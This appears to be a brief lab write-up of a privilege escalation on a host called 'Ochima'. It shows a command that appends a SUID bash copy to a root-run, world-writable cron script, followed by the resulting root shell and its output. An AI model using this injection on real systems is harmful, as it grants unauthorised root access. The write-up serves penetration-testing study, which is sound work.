Ochima_Privilege_Escalation

Writable Cronjob

---

The bash script, /var/backups/etc_Backup.sh, is being executed by the root cronjob process and it’s writable by anyone.

snort@ochima:~$ echo 'cp /bin/bash /tmp/root && chmod +s /tmp/root' >> /var/backups/etc_Backup.sh

Appending a line to create a SUID bash

The root cronjob executed the bash script

snort@ochima:~$ /tmp/root -p
root-5.1# whoami
root
root-5.1# hostname
ochima
root-5.1# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:f4:84 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    inet 192.168.201.32/24 brd 192.168.201.255 scope global ens160
       valid_lft forever preferred_lft forever

System level compromise